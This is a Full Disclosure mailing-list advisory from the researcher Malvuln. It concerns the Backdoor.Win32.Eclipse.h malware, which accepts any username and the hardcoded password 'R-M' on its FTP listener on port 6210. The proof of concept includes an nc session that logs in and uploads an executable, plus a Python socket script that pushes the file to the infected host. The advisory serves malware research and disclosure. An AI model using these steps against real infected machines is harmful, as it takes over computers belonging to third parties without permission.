full-disclosure - [FD] Backdoor.Win32.Eclipse.h / Weak Hardcoded Credentials

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Date: Thu, 21 Jul 2022 20:24:42 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Eclipse.h / Weak Hardcoded Credentials

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/8b470931114527b4dce42034a95ebf46.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Eclipse.h
Vulnerability: Weak Hardcoded Credentials
Family: Eclipse
Type: PE32
MD5: 8b470931114527b4dce42034a95ebf46
Vuln ID: MVID-2022-0625
Disclosure: 07/21/2022
Description: The malware listens on TCP port 6210 and authentication is
required. However, the backdoor accepts any USER name for authentication
and the password "R-M" is weak and hardcoded within the PE file. Unpacking
the UPX packed executable, easily reveals the cleartext hardcoded password.

00437590                 dd 3                    ; Len
00437590                 db 'R-M',0              ; Text
0043759C _str_6210       dd 0FFFFFFFFh           ; _top

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 6210
220 Servidor FTP Temporal Ver. 2.1 por Vlad
USER malvuln
331 Password required for malvuln.
PASS R-M
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
MKD HATE
257 'C:\HATE': directory created.
CWD HATE
250 CWD command successful. "C:/HATE/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,213,228).
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=54756
DOOM="DOOM_SM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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